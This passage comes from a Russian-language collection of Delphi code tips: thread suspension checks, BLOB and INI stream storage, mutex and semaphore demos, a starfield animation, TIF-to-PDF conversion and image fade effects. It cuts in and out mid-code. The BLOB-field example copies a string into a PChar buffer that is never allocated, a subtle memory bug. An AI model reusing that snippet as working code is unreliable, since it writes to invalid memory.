  begin // Если в параметре наш поток то тогда возвращает 0, то есть поток работает
    if NtSuspendThread(Thread, dword(@tmp)) <> 0 then
      Result := Dword(-1)
    else // Останавливаем поток. И сохраняем значение PreviousSuspendCount в Result
      Result := dword(tmp);
    NtResumeThread(Thread, dword(@tmp)); // Возобновляем работу потока
  end;
end;
// В результате находится количество "остановок" потока.
// Если результат 0 - то значит поток работает!

Запись потока в BLOB-поле.

Вся хитрость заключается в использовании StrPcopy (помещения вашей строки в PChar) и записи буфера в поток. Вы не сможете передать это в PChar непосредственно, поскольку ему нужен буфер, поэтому для получения необходимого размера буфера используйте <BufferName>[0] и StrLen().

Вот пример использования TMemoryStream и записи его в Blob-поле:

var
  cString: string;
  oMemory: TMemoryStream;
  Buffer: PChar;
begin
  cString := 'Ну, допустим, хочу эту строку!';
  { СОздаем новый поток памяти }
  oMemory := TMemoryStream.Create;
  {!! Копируем строку в PChar }
  StrPCopy(Buffer, cString);
  { Пишем =буфер= и его размер в поток }
  oMemory.Write(Buffer[0], StrLen(Buffer));
  {Записываем это в поле}
  < Blob / Memo / GraphicFieldName > .LoadFromStream(oMemory);
  { Необходимо освободить ресурсы}
  oMemory.Free;
end;

Сохранение потока в INI файле.

Автор: Moris WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сохранение потока в INI файле
Ответ на вопрос Igor__ © на форуме
http://delphi.mastak.ru/cgi-bin/forum.pl?look=1&id=1031421953&n=0
Сохраним содержимое RichEdit в ini file c:\temp\demo.ini
Зависимости: IniFiles
Автор:       Kogaev Oleg (Moris), matrix@rbcmail.ru, ICQ:121008919
Copyright:   Kogaev Oleg (Moris)
Дата:        8 сентября 2002 г.
***************************************************** }
// Сохраним RichEdit в ini file c:\temp\demo.ini
procedure TForm1.Button1Click(Sender: TObject);
var
  ini: TIniFile;
  s: TMemoryStream;
begin
  S := TMemoryStream.Create;
  Ini := TiniFile.Create('c:\temp\demo.ini');
  RichEdit1.Lines.SaveToStream(S);
  s.Seek(0, soFromBeginning);
  ini.WriteBinaryStream('1', '1', S);
  ini.Free;
  s.Free;
end;
//И прочетаем
procedure TForm1.Button2Click(Sender: TObject);
var
  ini: TIniFile;
  s: TMemoryStream;
begin
  S := TMemoryStream.Create;
  Ini := TiniFile.Create('c:\temp\demo.ini');
  ini.ReadBinaryStream('1', '1', S);
  RichEdit1.Lines.LoadFromStream(s);
  ini.Destroy;
  s.Destroy;
end;

Поток без синхронизации.

Автор: Xavier Pacheco

unit Main;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TMainForm = class(TForm)
    Button1: TButton;
    ListBox1: TListBox;
    procedure Button1Click(Sender: TObject);
  private
    procedure ThreadsDone(Sender: TObject);
  end;
  TFooThread = class(TThread)
  protected
    procedure Execute; override;
  end;
var
  MainForm: TMainForm;
implementation
{$R *.DFM}
const
  MaxSize = 128;
var
  NextNumber: Integer = 0;
  DoneFlags: Integer = 0;
  GlobalArray: array[1..MaxSize] of Integer;
function GetNextNumber: Integer;
begin
  Result := NextNumber; // return global var
  Inc(NextNumber); // inc global var
end;
procedure TFooThread.Execute;
var
  i: Integer;
begin
  OnTerminate := MainForm.ThreadsDone;
  for i := 1 to MaxSize do
  begin
    GlobalArray[i] := GetNextNumber; // set array element
    Sleep(5); // let thread intertwine
  end;
end;
procedure TMainForm.ThreadsDone(Sender: TObject);
var
  i: Integer;
begin
  Inc(DoneFlags);
  if DoneFlags = 2 then // make sure both threads finished
    for i := 1 to MaxSize do
      { fill listbox with array contents }
      Listbox1.Items.Add(IntToStr(GlobalArray[i]));
end;
procedure TMainForm.Button1Click(Sender: TObject);
begin
  TFooThread.Create(False); // create threads
  TFooThread.Create(False);
end;
end.

Поток с использованием Mutexa.

Автор: Xavier Pacheco

unit Main;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TMainForm = class(TForm)
    Button1: TButton;
    ListBox1: TListBox;
    procedure Button1Click(Sender: TObject);
  private
    procedure ThreadsDone(Sender: TObject);
  end;
  TFooThread = class(TThread)
  protected
    procedure Execute; override;
  end;
var
  MainForm: TMainForm;
implementation
{$R *.DFM}
const
  MaxSize = 128;
var
  NextNumber: Integer = 0;
  DoneFlags: Integer = 0;
  GlobalArray: array[1..MaxSize] of Integer;
  hMutex: THandle = 0;
function GetNextNumber: Integer;
begin
  Result := NextNumber; // return global var
  Inc(NextNumber); // inc global var
end;
procedure TFooThread.Execute;
var
  i: Integer;
begin
  FreeOnTerminate := True;
  OnTerminate := MainForm.ThreadsDone;
  if WaitForSingleObject(hMutex, INFINITE) = WAIT_OBJECT_0 then
  begin
    for i := 1 to MaxSize do
    begin
      GlobalArray[i] := GetNextNumber; // set array element
      Sleep(5); // let thread intertwine
    end;
  end;
  ReleaseMutex(hMutex);
end;
procedure TMainForm.ThreadsDone(Sender: TObject);
var
  i: Integer;
begin
  Inc(DoneFlags);
  if DoneFlags = 2 then // make sure both threads finished
  begin
    for i := 1 to MaxSize do
      { fill listbox with array contents }
      Listbox1.Items.Add(IntToStr(GlobalArray[i]));
    CloseHandle(hMutex);
  end;
end;
procedure TMainForm.Button1Click(Sender: TObject);
begin
  hMutex := CreateMutex(nil, False, nil);
  TFooThread.Create(False); // create threads
  TFooThread.Create(False);
end;
end.

Поток с использованием семафора.

Автор: Xavier Pacheco

unit Main;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TMainForm = class(TForm)
    Button1: TButton;
    ListBox1: TListBox;
    procedure Button1Click(Sender: TObject);
  private
    procedure ThreadsDone(Sender: TObject);
  end;
  TFooThread = class(TThread)
  protected
    procedure Execute; override;
  end;
var
  MainForm: TMainForm;
implementation
{$R *.DFM}
const
  MaxSize = 128;
var
  NextNumber: Integer = 0;
  DoneFlags: Integer = 0;
  GlobalArray: array[1..MaxSize] of Integer;
  hSem: THandle = 0;
function GetNextNumber: Integer;
begin
  Result := NextNumber; // return global var
  Inc(NextNumber); // inc global var
end;
procedure TFooThread.Execute;
var
  i: Integer;
  WaitReturn: DWORD;
begin
  OnTerminate := MainForm.ThreadsDone;
  WaitReturn := WaitForSingleObject(hSem, INFINITE);
  if WaitReturn = WAIT_OBJECT_0 then
  begin
    for i := 1 to MaxSize do
    begin
      GlobalArray[i] := GetNextNumber; // set array element
      Sleep(5); // let thread intertwine
    end;
  end;
  ReleaseSemaphore(hSem, 1, nil);
end;
procedure TMainForm.ThreadsDone(Sender: TObject);
var
  i: Integer;
begin
  Inc(DoneFlags);
  if DoneFlags = 2 then // make sure both threads finished
  begin
    for i := 1 to MaxSize do
      { fill listbox with array contents }
      Listbox1.Items.Add(IntToStr(GlobalArray[i]));
    CloseHandle(hSem);
  end;
end;
procedure TMainForm.Button1Click(Sender: TObject);
begin
  hSem := CreateSemaphore(nil, 1, 1, nil);
  TFooThread.Create(False); // create threads
  TFooThread.Create(False);
end;
end.

Сквозь Вселенную с дополнительными возможностями.

Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> "Сквозь Вселенную" с дополнительными возможностями
Демонстрационный пример, динамически рисующий "движение среди звёзд" с вращением.
Зависимости: Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs
Автор:       Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright:   Dimka Maslov
Дата:        1 августа 2003 г.
***************************************************** }
unit Starfields;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormPaint(Sender: TObject);
    procedure FormResize(Sender: TObject);
  private
    procedure AB00(var Message); message $AB00;
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
type
  TPoint = packed record
    X, Y, Z, R, Phi: Double;
  end;
const
  NumStars = 2000; // Количество звёзд,
  // управляет общей плотностью звёздного поля
  RangeY = 7000; // Максимальное расстояние от картинной плоскости до звезды,
  // управляет плотностью звёзд в центре
  RangeR = 7000; // Максимальное радиальное удаление от луча зрения до звезды,
  // управляет плотностью звёзд по краям
  Height = 5000; // Высота наблюдателя,
  // управляет положением центра изображения по вертикали
  Basis = 100; // Расстояние до картинной плоскости
  // управляет соотношением количества звёзд в центре к их
  // количеству по краям
  DeltaY = 5; // Шаг изменения координаты, управляет скоростью движения
  DeltaT = 0.01; // Приращение времени, управляет скоростью вращения
  Period1 = 0.1; // Период вращения звёзд
  Amplitude2 = 0.5; // Амплитуда вращательных колебаний звёзд
  Period2 = 1.0; // Период вращательных колебаний
  Period3 = 0.1; // Период изменения направления движения звёзд.
  Direction = 1; // Направление движения 1 - к наблюдателю, -1 - от него
var
  Stars: array[1..NumStars] of TPoint;
  Time: Double = 0;
  X0: Integer = 0;
  Y0: Integer = 0;
procedure InitializeStars;
var
  i: Integer;
begin
  Randomize;
  for i := 1 to NumStars do
    with Stars[i] do
    begin
      Y := Random(RangeY);
      R := RangeR - 2 * Random(RangeR);
      Phi := Random(628) / 100;
    end;
end;
procedure Perspective(const X, Y, Z, Height, Basis: Double; var XP, YP: Double);
var
  Den: Double;
begin
  Den := Y + Basis;
  if Abs(Den) < 1E-100 then
    Den := 1E-100;
  XP := Basis * X / Den;
  YP := (Basis * Z + Height * Y) / Den;
end;
function KeyPressed(VKey: Integer): LongBool;
asm
   push eax
   call GetKeyState
   and eax, 0080h
   shr al, 7
end;
procedure TForm1.AB00(var Message);
begin
  if KeyPressed(VK_ESCAPE) then
    Close
  else
    Repaint;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  InitializeStars;
  DoubleBuffered := True;
end;
procedure TForm1.FormPaint(Sender: TObject);
var
  X, Y: Double;
  L, T: Integer;
  i: Integer;
  D: Double;
begin
  for i := 1 to NumStars do
  begin
    Application.ProcessMessages;
    with Stars[i] do
    begin
      D := Direction * sin(Period3 * Time);
      Y := Y - D * DeltaY;
      X := R * sin((Period1 * Time + Phi) + Amplitude2 * cos(Period2 * time));
      Z := R * cos((Period1 * Time + Phi) + Amplitude2 * cos(Period2 * time));
      if D > 0 then
      begin
        if Y < 0 then
        begin
          Y := RangeY;
          R := RangeR - 2 * Random(RangeR);
          // Phi := Random(628) / 100;
        end;
      end
      else
      begin
        if Y > RangeY then
        begin
          Y := 0;
          R := RangeR - 2 * Random(RangeR);
          // Phi := Random(628) / 100;
        end;
      end;
    end;
    Perspective(Stars[i].X, Stars[i].Y, Stars[i].Z, Height, Basis, X, Y);
    L := X0 + Round(X);
    T := Y0 - Round(Y);
    Canvas.Pen.Color := clWhite;
    if Stars[i].Y < RangeY / 4 then
    begin
      Canvas.Rectangle(L, T, L + 2, T + 2);
    end
    else
    begin
      Canvas.MoveTo(L, T);
      Canvas.LineTo(L + 1, T + 1);
    end;
  end;
  PostMessage(Handle, $AB00, 0, 0);
  Time := Time + DeltaT;
end;
procedure TForm1.FormResize(Sender: TObject);
begin
  X0 := ClientWidth div 2;
  Y0 := ClientHeight * 3 div 2;
end;
end.

Конвертируем TIF в PDF.

Автор: Morten Ravn-Jonsen
...и написал Иисус конвертер water2wine, и стал раздавать его freeware...

Как-то раз получился TIF файл на несколько страниц и возникла необходимость конвертации его в PDF формат. Для использования такой возможности необходимо иметь полную версию Adobe Acrobat. Функция тестировалась на Adobe Acrobat 4.0.

Сперва Вам необходимо импортировать элементы управления Acrobat AxtiveX.

Выберите Component -> Import ActiveX Control Выберите Acrobat Control for ActiveX и нажмите install Выберите пакет ActiveX control для инсталяции Добавьте PDFlib_tlb в Ваш проект. Этот файл находится в директории Borland\Delphi5\Imports.

Как использовать функцию.

Вот пример её вызова:

if not TifToPDF('c:\test.tif', 'c:\test.pdf') then 
  Showmessage('Could not convert'); 

Функция TifToPdf:

function TifToPDF(TIFFilename, PDFFilename: string): boolean;
var
  AcroApp: variant;
  AVDoc: variant;
  PDDoc: variant;
  IsSuccess: Boolean;
begin
  result := false;
  if not fileexists(TIFFilename) then
    exit;
  try
    AcroApp := CreateOleObject('AcroExch.App');
    AVDoc := CreateOleObject('AcroExch.AVDoc');
    AVDoc.Open(TIFFilename, '');
    AVDoc := AcroApp.GetActiveDoc;
    if AVDoc.IsValid then
    begin
      PDDoc := AVDoc.GetPDDoc;
      PDDoc.SetInfo ('Title', '');
      PDDoc.SetInfo ('Author', '');
      PDDoc.SetInfo ('Subject', '');
      PDDoc.SetInfo ('Keywords', '');
      result := PDDoc.Save(1 or 4 or 32, PDFFilename);
      PDDoc.Close;
    end;
    AVDoc.Close(True);
    AcroApp.Exit;
  finally
    VarClear(PDDoc);
    VarClear(AVDoc);
    VarClear(AcroApp);
  end;
end;

Плитка из картинок.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function TileImage(const FileName: TFileName; Sender: TObject): Boolean;
 var
   x, y: Integer;
   Bmp:  TBitmap;
 begin
   if FileExists(FileName) then
   begin
     bmp := TBitmap.Create;
     try
       bmp.LoadFromFile(FileName);
       with (Sender as TImage) do
       begin
         for x := 0 to (Width div bmp.Width) do
           for y := 0 to (Height div bmp.Height) do
             Canvas.Draw(x * bmp.Width, y * bmp.Height, bmp);
       end;
     finally
       bmp.Free;
     end;
     Result := True;
   end
   else
     Result := False;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if Opendialog1.Execute then
     TileImage(OpenDialog1.FileName, Image1);
 end;

TImageList. Не отображаются иконки на контролах.

Не отображаются картинки на тулбарах, кнопках, меню, и т.д. - везде, где используется TImageList для хранения массива изображений. Искажение цветов при использовании 256-цветных картинок в палитровом видеорежиме.

ТИПОВЫЕ РЕШЕНИЯ. Не использовать TImageList, если это возможно. Не хранить содержимое TImageList в ресурсе формы, а загружать в runtime из подготовленной bitmap или ресурса. Обновить версию системной библиотеки comctl32.dll.

Как сделать картинки в TImageList прозрачными.

procedure TForm1.Button1Click(Sender: TObject);
var
    bm : TBitmap;
    il : TImageList;
begin
    bm := TBitmap.Create;
    bm.LoadFromFile('C:\DownLoad\TEST.BMP');
    il := TImageList.CreateSize(bm.Width,bm.Height);
    il.DrawingStyle := dsTransparent;
    il.Masked := true;
    il.AddMasked(bm, clRed);
    il.Draw(Form1.Canvas, 0, 0, 0);
    bm.Free;
    il.Free;
end;

Как работать с Fade для TImage.

Автор: http://www.swissdelphicenter.ch

type
  PRGBTripleArray = ^TRGBTripleArray;
  TRGBTripleArray = array[0..32767] of TRGBTriple;
  /////////////////////////////////////////////////
  //                  Fade In                    //
  /////////////////////////////////////////////////
procedure FadeIn(ImageFileName: TFileName);
var
  Bitmap, BaseBitmap: TBitmap;
  Row, BaseRow: PRGBTripleArray;
  x, y, step: integer;
begin
  // Bitmaps vorbereiten / Preparing the Bitmap //
  Bitmap := TBitmap.Create;
  try
    Bitmap.PixelFormat := pf32bit; // oder pf24bit / or pf24bit //
    Bitmap.LoadFromFile(ImageFileName);
    BaseBitmap := TBitmap.Create;
    try
      BaseBitmap.PixelFormat := pf32bit;
      BaseBitmap.Assign(Bitmap);
      // Fading //
      for step := 0 to 32 do
      begin
        for y := 0 to (Bitmap.Height - 1) do
        begin
          BaseRow := BaseBitmap.Scanline[y];
          // Farben vom Endbild holen / Getting colors from final image //
          Row := Bitmap.Scanline[y];
          // Farben vom aktuellen Bild / Colors from the image as it is now //
          for x := 0 to (Bitmap.Width - 1) do
          begin
            Row[x].rgbtRed := (step * BaseRow[x].rgbtRed) shr 5;
            Row[x].rgbtGreen := (step * BaseRow[x].rgbtGreen) shr 5;
              // Fading //
            Row[x].rgbtBlue := (step * BaseRow[x].rgbtBlue) shr 5;
          end;
        end;
        Form1.Canvas.Draw(0, 0, Bitmap);
          // neues Bild ausgeben / Output new image //
        InvalidateRect(Form1.Handle, nil, False);
        // Fenster neu zeichnen / Redraw window //
        RedrawWindow(Form1.Handle, nil, 0, RDW_UPDATENOW);
      end;
    finally
      BaseBitmap.Free;
    end;
  finally
    Bitmap.Free;
  end;
end;
/////////////////////////////////////////////////
//                  Fade Out                   //
/////////////////////////////////////////////////
procedure FadeOut(ImageFileName: TFileName);
var
  Bitmap, BaseBitmap: TBitmap;
  Row, BaseRow: PRGBTripleArray;
  x, y, step: integer;
begin
  // Bitmaps vorbereiten / Preparing the Bitmap //
  Bitmap := TBitmap.Create;
  try
    Bitmap.PixelFormat := pf32bit; // oder pf24bit / or pf24bit //
    Bitmap.LoadFromFile(ImageFileName);
    BaseBitmap := TBitmap.Create;
    try
      BaseBitmap.PixelFormat := pf32bit;
      BaseBitmap.Assign(Bitmap);
      // Fading //
      for step := 32 downto 0 do
      begin
        for y := 0 to (Bitmap.Height - 1) do
        begin
          BaseRow := BaseBitmap.Scanline[y];
          // Farben vom Endbild holen / Getting colors from final image //
          Row := Bitmap.Scanline[y];
          // Farben vom aktuellen Bild / Colors from the image as it is now //
          for x := 0 to (Bitmap.Width - 1) do
          begin
            Row[x].rgbtRed := (step * BaseRow[x].rgbtRed) shr 5;
            Row[x].rgbtGreen := (step * BaseRow[x].rgbtGreen) shr 5;
              // Fading //
            Row[x].rgbtBlue := (step * BaseRow[x].rgbtBlue) shr 5;
          end;
        end;
        Form1.Canvas.Draw(0, 0, Bitmap);
          // neues Bild ausgeben / Output new image //
        InvalidateRect(Form1.Handle, nil, False);
        // Fenster neu zeichnen / Redraw window //
        RedrawWindow(Form1.Handle, nil, 0, RDW_UPDATENOW);
      end;
    finally
      BaseBitmap.Free;
    end;
  finally
    Bitmap.Free;
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  FadeIn('C:\TestImage.bmp')
end;
{*****************************}
{by Yucel Karapinar, ykarapinar@hotmail.com }
{ Only for 24 ve 32 bits bitmaps }
procedure FadeOut(const Bmp: TImage; Pause: Integer);
var
  BytesPorScan, counter, w, h: Integer;
  p: pByteArray;
begin
  if not (Bmp.Picture.Bitmap.PixelFormat in [pf24Bit, pf32Bit]) then
    raise Exception.Create('Error, bitmap format is not supporting.');
  try
    BytesPorScan := Abs(Integer(Bmp.Picture.Bitmap.ScanLine[1]) -
      Integer(Bmp.Picture.Bitmap.ScanLine[0]));
  except
    raise Exception.Create('Error!!');
  end;
  for counter := 1 to 256 do
  begin
    for h := 0 to Bmp.Picture.Bitmap.Height - 1 do
    begin
      P := Bmp.Picture.Bitmap.ScanLine[h];
      for w := 0 to BytesPorScan - 1 do
        if P^[w] > 0 then
          P^[w] := P^[w] - 1;
    end;
    Sleep(Pause);
    Bmp.Refresh;
  end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  FadeOut(Image1, 1);
end;

TImage - эффект плавного перехода.

Автор: David C. Ullrich
Сказал админ: "Бывает все, сынок" Когда уже не сможешь патчить прог, Когда придешь домой в конце пути По шею бошку в ПИВО опусти
...существует ли для этого эффекта какой-либо алгоритм генерации изображений вместо использования кисточки?

Я был скептически настроен к механизму использования кистей, чтобы получить что-либо похожее на эффект перехода/ухода ("fade") по сравнению со стеркой ("wipe"), но вчера вечером я нашел следующее решение, которое делает невероятное - осуществляет плавный переход от одного изображения к другому:

procedure WaitAWhile(n: longint);
var
  StartTime: longint;
begin
  StartTime := timeGetTime;
  while timeGetTime < StartTime + n do
    ;
end;
procedure TForm1.Image1Click(Sender: TObject);
var
  BrushBmp, BufferBmp, Buffer2Bmp, ImageBmp, Image2Bmp: TBitmap;
  j, k, row, col: longint;
begin
  row := 0;
  col := 0;
  BrushBmp := TBitmap.Create;
  with BrushBmp do
  begin
    Monochrome := false;
    Width := 8;
    Height := 8;
  end;
  imageBmp := TBitmap.create;
  imagebmp.loadfromfile('c:\huh.bmp');
  image2bmp := TBitmap.Create;
  image2bmp.LoadFromFile('c:\whatsis.bmp');
  {При 256 цветах лучше иметь ту же самую палитру!}
  BufferBmp := TBitmap.Create;
  with BufferBmp do
  begin
    Height := 200;
    Width := 200;
    canvas.brush.bitmap := TBitmap.Create;
  end;
  Buffer2Bmp := TBitmap.Create;
  with Buffer2Bmp do
  begin
    Height := 200;
    Width := 200;
    canvas.brush.bitmap := TBitmap.Create;
  end;
  for k := 1 to 16 do
  begin
    WaitAWhile(0); {Для пентиума необходимо добавить задержку}
    for j := 0 to 3 do
    begin
      row := (row + 5) mod 8;
      col := (col + 1) mod 8;
      if row = 0 then
        col := (col + 1) mod 8;
      BrushBmp.canvas.Pixels[row, col] := clBlack;
    end;
    with BufferBmp do
    begin
      canvas.copymode := cmSrcCopy;
      canvas.brush.bitmap.free;
      canvas.brush.style := bsClear;
      canvas.brush.bitmap := TBitmap.Create;
      canvas.brush.bitmap.Assign(BrushBmp);
      canvas.Rectangle(0, 0, 200, 200);
      canvas.CopyMode := cmMergeCopy;
      canvas.copyrect(rect(0, 0, 200, 200), imageBmp.canvas,
        rect(0, 0, 200, 200));
    end;
    with Buffer2Bmp do
    begin
      canvas.copymode := cmSrcCopy;
      canvas.brush.bitmap.free;
      canvas.brush.style := bsClear;
      canvas.brush.bitmap := TBitmap.Create;
      canvas.brush.bitmap.Assign(BrushBmp);
      canvas.Rectangle(0, 0, 200, 200);
      canvas.copymode := cmSrcErase;
      canvas.copyrect(rect(0, 0, 200, 200), image2bmp.canvas,
        rect(0, 0, 200, 200));
    end;
    BufferBmp.Canvas.CopyMode := cmSrcPaint;
    BufferBmp.Canvas.Copyrect(rect(0, 0, 200, 200),
      Buffer2Bmp.Canvas, rect(0, 0, 200, 200));
    canvas.copymode := cmSrcCopy;
    canvas.copyrect(rect(0, 0, 200, 200), BufferBmp.Canvas,
      rect(0, 0, 200, 200));
  end;
  BufferBmp.canvas.brush.bitmap.free;
  Buffer2Bmp.canvas.brush.bitmap.free;
  BrushBmp.Free;
  BufferBmp.Free;
  Buffer2Bmp.Free;
  ImageBmp.Free;
  image2Bmp.Free;
end;

Комментарии: На Pentium I я реально использую 64 кисточки, изменив приведенные выше строки на следующие:

for k:= 1 to 64 do
begin
  WaitAWhile(50);
  for j:=0 to 0 do
При организации указанной задержки возможно получение плавного перехода.

Заполняя кисть в другом порядке, вы можете получить ряд других эффектов, но приведенная выше версия единственная, которую мне удалось получить максимально похожей на эффект перехода, но вы можете, скажем, написать:

begin
  row:=(row+1) mod 8;
  (*col:=(col+1) mod 8;*)
  if row=0 then
    col:=(col+1) mod 8;
и получить своего рода эффект перехода типа "venetian-blind wipe" (дословно - стерка венецианского хрусталя).

Вопрос: Я чуствую, что я делаю что-то неправильно, существует какая-то хитрость с кистью. Мне нужно все четыре строчки:

canvas.brush.bitmap.free;
canvas.brush.style:=bsClear;
canvas.brush.bitmap:=TBitmap.Create;
canvas.brush.bitmap.Assign(BrushBmp);

Чтобы все работало правильно; но я совсем не понимаю, почему первые три строки являются обязательными, но если я их выкидываю, Assign сработывает только один раз(!?!?!). Это реально работает? Есть способ другого быстрого назначения brush.bitmaps? (В документации в качестве примера указано на Brush.Bitmap.LoadFromFile, но должно быть лучшее решение. Хорошо, допустим приведенный способ лучший, но он кажется неправильным...).

Функции для работы с объектом типа TImage.

Автор: VID WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Функции для работы с объектом типа TImage
Модуль ImgTools предоставляет функции для работы с изображениями,
в частности для работы с визуальным объектом типа TImage.
Function FitBestSize - Подбор оптимального размера рисунка,
в соответствии с областью на которой он расположен
Function CenterImage - Центрирование рисунка в области, на которой он расположен
Function SetImageSize - Процентное изменение размера рисунка
Каждая функция возвращает результат типа TImageSizeParams;
type TImageSizeParams = record
OldImageWidth - ширина рисунка до преобразований
OldImageHeight - высота рисунка до преобразований
OldImageLeft - позиция X рисунка до преобразований
OldImageTop - позиция Y рисунка до преобразований
NewImageWidth - ширина рисунка после преобразований
NewImageHeight - высота рисунка после преобразований
NewImageLeft - позиция X рисунка после преобразований
NewImageTop - позиция Y рисунка после преобразований
NewImageSizePercent - размер рисунка в процентах после преобразования,
от размера рисунка до преобразования
end;
Зависимости: ExtCtrls
Автор:       VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright:   VID
Дата:        05 мая 2002 г.
***************************************************** }
unit ImgTools;
interface
uses ExtCtrls;
type
  TImageSizeParams = record
    OldImgWidth, OldImgHeight, OldImageLeft, OldImageTop,
      NewImgWidth, NewImgHeight, NewImageLeft, NewImageTop,
      NewImgSizePercent: Integer;
  end;
type
  TTimeState = (tsBefore, tsAfter);
function FitBestSize(Img: TImage): TImageSizeParams;
function CenterImage(Img: TImage): TImageSizeParams;
function SetImageSize(Img: TImage; SizePercent: Integer): TImageSizeParams;
var
  ImageSizeParams: TImageSizeParams;
implementation
//Обнуление полей переменной типа TImageSizeParams
function ClearImageSizeParams: TImageSizeParams;
begin
  Result.OldImgWidth := 0;
  Result.OldImgHeight := 0;
  Result.OldImageLeft := 0;
  Result.OldImageTop := 0;
  Result.NewImgWidth := 0;
  Result.NewImgHeight := 0;
  Result.NewImageLeft := 0;
  Result.NewImageTop := 0;
  Result.NewImgSizePercent := 0;
end;
//Получение параметров рисунка до и после преобразований
function GetImageSizeParams(Img: TImage; TimeState: TTimeState):
  TImageSizeParams;
begin
  if img = nil then
  begin
    result := ClearImageSizeParams;
    ImageSizeParams := Result;
    exit;
  end;
  if TimeState = tsBefore then
  begin
    ImageSizeParams := ClearImageSizeParams;
    result.OldImgWidth := img.Width;
    Result.OldImgHeight := img.Height;
    result.OldImageLeft := img.Left;
    result.OldImageTop := img.Top;
  end;
  if TimeState = tsAfter then
  begin
    Result := ImageSizeParams;
    Result.NewImgWidth := img.Width;
    Result.NewImgHeight := img.Height;
    result.NewImageLeft := img.Left;
    result.NewImageTop := img.Top;
    Result.NewImgSizePercent := Round(Result.NewImgWidth / Result.OldImgWidth *
      100);
  end;
  ImageSizeParams := Result;
end;
//Подбор оптимального размера рисунка, в соответствии с областью на которой он расположен
function FitBestSize(Img: Timage): TImageSizeParams;
var
  h, w, i, x, y: Integer;
  K, b, a: Double;
begin
  if Img = nil then
    exit;
  try
    Result := ClearImageSizeParams;
    Img.AutoSize := True;
    Img.AutoSize := False;
    GetImageSizeParams(Img, tsBefore);
    h := img.picture.Height;
    w := img.picture.Width;
    i := 0;
    repeat
      x := img.Parent.clientwidth - w;
      y := img.Parent.clientheight - h;
      i := i + 1;
      k := w / h;
      if y < x then
      begin
        b := y;
        h := h + Round(b);
        a := H * k - W;
        w := w + Round(a);
      end;
      if y >= x then
      begin
        a := x;
        w := w + Round(a);
        b := (w / k) - H;
        h := h + Round(b);
      end;
    until (w < img.Parent.width) or (h < img.Parent.height) or (i >= 2);
    img.Stretch := true;
    img.Width := w;
    img.height := h;
    Result := GetImageSizeParams(Img, tsAfter);
  except
  end;
end;
//Центрирование рисунка в области, на которой он расположен
function CenterImage(Img: TImage): TImageSizeParams;
begin
  Result := ClearImageSizeParams;
  if Img = nil then
    exit;
  GetImageSizeParams(img, tsBefore);
  img.left := (Img.parent.Width div 2) - (img.Width div 2);
  img.Top := (Img.parent.Height div 2) - (img.height div 2);
  Result := GetImageSizeParams(img, tsAfter);
end;
//Процентное изменение размера рисунка
function SetImageSize(Img: TImage; SizePercent: Integer): TImageSizeParams;
var
  K: Double;
  nw, nh: Integer;
begin
  Result := ClearImageSizeParams;
  if Img = nil then
    exit;
  if SizePercent < 0 then
    exit;
  Img.AutoSize := True;
  Img.AutoSize := False;
  GetImageSizeParams(img, tsBefore);
  try
    K := img.height / img.width;
  except exit;
  end;
  nw := Round(img.Width * SizePercent / 100);
  nh := round(nw * k);
  img.Stretch := true;
  img.Width := nw;
  img.Height := nh;
  Result := GetImageSizeParams(img, tsAfter);
end;
end.

Получить или установить допустимые периоды истечения времени.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Retrieves information about the time-out period associated 
  with the accessibility features. 
  The pvParam parameter must point to an ACCESSTIMEOUT 
  structure that receives the information. 
  Set the cbSize member of this structure and the 
  uiParam parameter to SizeOf(ACCESSTIMEOUT). 
}
 { 
  Ermittelt die maximale Zeit wo der Benutzer keine Eingaben macht bei den 
  Eingabehilfen. "uiParam" muss die Gro?e der Struktur 
  ACCESSTIMEOUT sein und "pvParam" muss eine ACCESSTIMEOUT-Struktur 
  ubergeben werden, die gefullt wird. 
}
 // ACCESSTIMEOUT structure 
type
   TAccessTimeOut = record
     cbSize: UINT;
     dwFlags: DWORD;
     iTimeOutMSec: DWORD;
   end;
 procedure GetAccessTimeOut(var bTimeOut: Boolean; var bFeedBack: Boolean;
   var iTimeOutTime: Integer);
   // bTimeOut: the time-out period for accessibility features. 
  // bFeedBack: the operating system plays a descending 
  //            siren sound when the time-out period elapses and the 
  //            Accessibility features are turned off. 
  // iTimeOutTime: Timeout in ms 
var
   AccessTimeOut: TAccessTimeOut;
 begin
   ZeroMemory(@AccessTimeOut, SizeOf(TAccessTimeOut));
   AccessTimeOut.cbSize := SizeOf(TAccessTimeOut);
   SystemParametersInfo(SPI_GETACCESSTIMEOUT, SizeOf(AccessTimeOut), @AccessTimeOut, 0);
   bTimeOut := (AccessTimeOut.dwFlags and ATF_TIMEOUTON) = ATF_TIMEOUTON;
   bFeedBack := (AccessTimeOut.dwFlags and ATF_ONOFFFEEDBACK) = ATF_ONOFFFEEDBACK;
   iTimeOutTime := AccessTimeOut.iTimeOutMSec;
 end;
 // Test it: 
procedure TForm1.Button2Click(Sender: TObject);
 var
   bTimeOut, bFeedBack: Boolean;
   iTimeOutTime: Integer;
 begin
   GetAccessTimeOut(bTimeOut, bFeedBack, iTimeOutTime);
   label1.Caption := IntToStr(Ord(bTimeOut));
   Label2.Caption := IntToStr(Ord(bFeedBack));
   Label3.Caption := IntToStr(iTimeOutTime);
